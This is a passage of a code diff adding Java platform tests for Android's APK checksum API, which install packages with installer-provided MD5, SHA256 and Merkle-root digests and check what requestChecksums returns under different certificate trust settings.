+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), certificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[2].getSplitName(), null);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustAll() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        final Certificate installerCertificate = getInstallerCertificate();
+
+        LocalListener receiver = new LocalListener();
+        getPackageManager().requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        // v2/v3+installer provided.
+        assertEquals(checksums.length, 3);
+
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getSplitName(), null);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[2].getSplitName(), null);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustInstaller() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        // Using the installer's certificate(s).
+        PackageManager pm = getPackageManager();
+        PackageInfo packageInfo = pm.getPackageInfo(CTS_PACKAGE_NAME, GET_SIGNING_CERTIFICATES);
+        final List<Certificate> signatures = convertSignaturesToCertificates(
+                packageInfo.signingInfo.getApkContentsSigners());
+
+        LocalListener receiver = new LocalListener();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, signatures, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 3);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), signatures.get(0));
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getSplitName(), null);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), signatures.get(0));
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[2].getSplitName(), null);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustWrongInstaller() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        // Using certificates from a security app, not the installer (us).
+        PackageManager pm = getPackageManager();
+        PackageInfo packageInfo = pm.getPackageInfo(FIXED_PACKAGE_NAME, GET_SIGNING_CERTIFICATES);
+        final List<Certificate> signatures = convertSignaturesToCertificates(
+                packageInfo.signingInfo.getApkContentsSigners());
+
+        LocalListener receiver = new LocalListener();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, signatures, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustAllWrongName() throws Exception {
+        CommitIntentReceiver.checkFailure(
+                installApkWithChecksums(TEST_FIXED_APK, "apk", "wrong_name",
+                        TEST_FIXED_APK_DIGESTS),
+                "INSTALL_FAILED_SESSION_INVALID: Invalid checksum name(s): wrong_name");
+    }
+
+    @Test
+    public void testInstallerChecksumsUpdate() throws Exception {
+        Checksum[] digestsBase = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("dd93e23bb8cdab0382fdca0d21a4f1cb"))};
+        Checksum[] digestsSplit0 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("f6430e1b795ce2658c49e68d15316b2d"))};
+        Checksum[] digestsSplit1 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("d1f4b00d034994663e84f907fe4bb664"))};
+
+        final Certificate installerCertificate = getInstallerCertificate();
+
+        // Original package checksums: base + split0.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5", TEST_V4_APK);
+            session.setChecksums("hw5", Arrays.asList(digestsBase), NO_SIGNATURE);
+
+            writeFileToSession(session, "hw5_split0", TEST_V4_SPLIT0);
+            session.setChecksums("hw5_split0", Arrays.asList(digestsSplit0), NO_SIGNATURE);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 6);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+        }
+
+        // Update the package with one split+checksums and another split without checksums.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(V4_PACKAGE_NAME);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5_split1", TEST_V4_SPLIT1);
+            session.setChecksums("hw5_split1", Arrays.asList(digestsSplit1), NO_SIGNATURE);
+
+            writeFileToSession(session, "hw5_split2", TEST_V4_SPLIT2);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 10);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+            // split1
+            assertEquals(checksums[6].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[6].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[6].getValue()),
+                    "d1f4b00d034994663e84f907fe4bb664");
+            assertEquals(checksums[6].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[6].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[7].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[7].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[7].getValue()),
+                    "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf");
+            assertEquals(checksums[7].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[7].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[8].getSplitName(), "config.mdpi");
+            assertEquals(checksums[8].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[8].getInstallerPackageName());
+            assertNull(checksums[8].getInstallerCertificate());
+            // split2
+            assertEquals(checksums[9].getSplitName(), "config.xhdpi");
+            assertEquals(checksums[9].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[9].getInstallerPackageName());
+            assertNull(checksums[9].getInstallerCertificate());
+        }
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsUpdate() throws Exception {
+        Checksum[] digestsBase = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("dd93e23bb8cdab0382fdca0d21a4f1cb"))};
+        Checksum[] digestsSplit0 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("f6430e1b795ce2658c49e68d15316b2d"))};
+        Checksum[] digestsSplit1 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("d1f4b00d034994663e84f907fe4bb664"))};
+
+        String digestBaseFile = ApkChecksums.buildDigestsPathForApk(TEST_V4_APK);
+        String digestSplit0File = ApkChecksums.buildDigestsPathForApk(TEST_V4_SPLIT0);
+        String digestSplit1File = ApkChecksums.buildDigestsPathForApk(TEST_V4_SPLIT1);
+
+        checkStoredChecksums(digestsBase, digestBaseFile);
+        checkStoredChecksums(digestsSplit0, digestSplit0File);
+        checkStoredChecksums(digestsSplit1, digestSplit1File);
+
+        byte[] digestBaseSignature = readSignature(
+                ApkChecksums.buildSignaturePathForDigests(digestBaseFile));
+        byte[] digestSplit0Signature = readSignature(
+                ApkChecksums.buildSignaturePathForDigests(digestSplit0File));
+        byte[] digestSplit1Signature = readSignature(
+                ApkChecksums.buildSignaturePathForDigests(digestSplit1File));
+
+        final Certificate certificate = readCertificate();
+
+        // Original package checksums: base + split0.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5", TEST_V4_APK);
+            session.setChecksums("hw5", Arrays.asList(digestsBase), digestBaseSignature);
+
+            writeFileToSession(session, "hw5_split0", TEST_V4_SPLIT0);
+            session.setChecksums("hw5_split0", Arrays.asList(digestsSplit0), digestSplit0Signature);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 6);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), certificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), certificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), certificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), certificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+        }
+
+        // Update the package with one split+checksums and another split without checksums.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(V4_PACKAGE_NAME);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5_split1", TEST_V4_SPLIT1);
+            session.setChecksums("hw5_split1", Arrays.asList(digestsSplit1), digestSplit1Signature);
+
+            writeFileToSession(session, "hw5_split2", TEST_V4_SPLIT2);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 10);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), certificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), certificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), certificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), certificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+            // split1
+            assertEquals(checksums[6].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[6].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[6].getValue()),
+                    "d1f4b00d034994663e84f907fe4bb664");
+            assertEquals(checksums[6].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[6].getInstallerCertificate(), certificate);
+            assertEquals(checksums[7].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[7].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[7].getValue()),
+                    "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf");
+            assertEquals(checksums[7].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[7].getInstallerCertificate(), certificate);
+            assertEquals(checksums[8].getSplitName(), "config.mdpi");
+            assertEquals(checksums[8].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[8].getInstallerPackageName());
+            assertNull(checksums[8].getInstallerCertificate());
+            // split2
+            assertEquals(checksums[9].getSplitName(), "config.xhdpi");
+            assertEquals(checksums[9].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[9].getInstallerPackageName());
+            assertNull(checksums[9].getInstallerCertificate());
+        }
+    }
+
+    @Test
+    public void testInstallerChecksumsIncremental() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+
+        final Certificate installerCertificate = getInstallerCertificate();
+
+        installPackageIncrementally(TEST_FIXED_APK);
+
+        PackageManager pm = getPackageManager();
+        PackageInfo packageInfo = pm.getPackageInfo(FIXED_PACKAGE_NAME, 0);
+        final String inPath = packageInfo.applicationInfo.getBaseCodePath();
+
+        installApkWithChecksumsIncrementally(inPath);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 3);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsIncremental() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+
+        installPackageIncrementally(TEST_FIXED_APK);
+
+        PackageInfo packageInfo = getPackageManager().getPackageInfo(FIXED_PACKAGE_NAME, 0);
+        final String inPath = packageInfo.applicationInfo.getBaseCodePath();
+
+        final byte[] signature = readSignature();
+        final Certificate certificate = readCertificate();
+
+        installApkWithChecksumsIncrementally(inPath, TEST_FIXED_APK, TEST_FIXED_APK_DIGESTS,
+                signature);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 3);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), certificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), certificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsIncrementalTrustNone() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+
+        installPackageIncrementally(TEST_FIXED_APK);
+
+        PackageInfo packageInfo = getPackageManager().getPackageInfo(FIXED_PACKAGE_NAME, 0);
+        final String inPath = packageInfo.applicationInfo.getBaseCodePath();
+
+        installApkWithChecksumsIncrementally(inPath);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsDuplicate() throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+            writeFileToSession(session, "file", TEST_FIXED_APK);
+            session.setChecksums("file", Arrays.asList(TEST_FIXED_APK_DIGESTS), NO_SIGNATURE);
+            try {
+                session.setChecksums("file", Arrays.asList(TEST_FIXED_APK_DIGESTS), NO_SIGNATURE);
+                Assert.fail("setChecksums should throw exception.");
+            } catch (IllegalStateException e) {
+                // expected
+            }
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private List<Certificate> convertSignaturesToCertificates(Signature[] signatures) {
+        try {
+            final CertificateFactory cf = CertificateFactory.getInstance("X.509");
+            ArrayList<Certificate> certs = new ArrayList<>(signatures.length);
+            for (Signature signature : signatures) {
+                final InputStream is = new ByteArrayInputStream(signature.toByteArray());
+                final X509Certificate cert = (X509Certificate) cf.generateCertificate(is);
+                certs.add(cert);
+            }
+            return certs;
+        } catch (CertificateException e) {
+            throw ExceptionUtils.propagate(e);
+        }
+    }
+
+    private void installApkWithChecksums(Checksum[] checksums) throws Exception {
+        installApkWithChecksums("file", "file", checksums);
+    }
+
+    private void installApkWithChecksums(String apkName, String checksumsName, Checksum[] checksums)
+            throws Exception {
+        CommitIntentReceiver.checkSuccess(
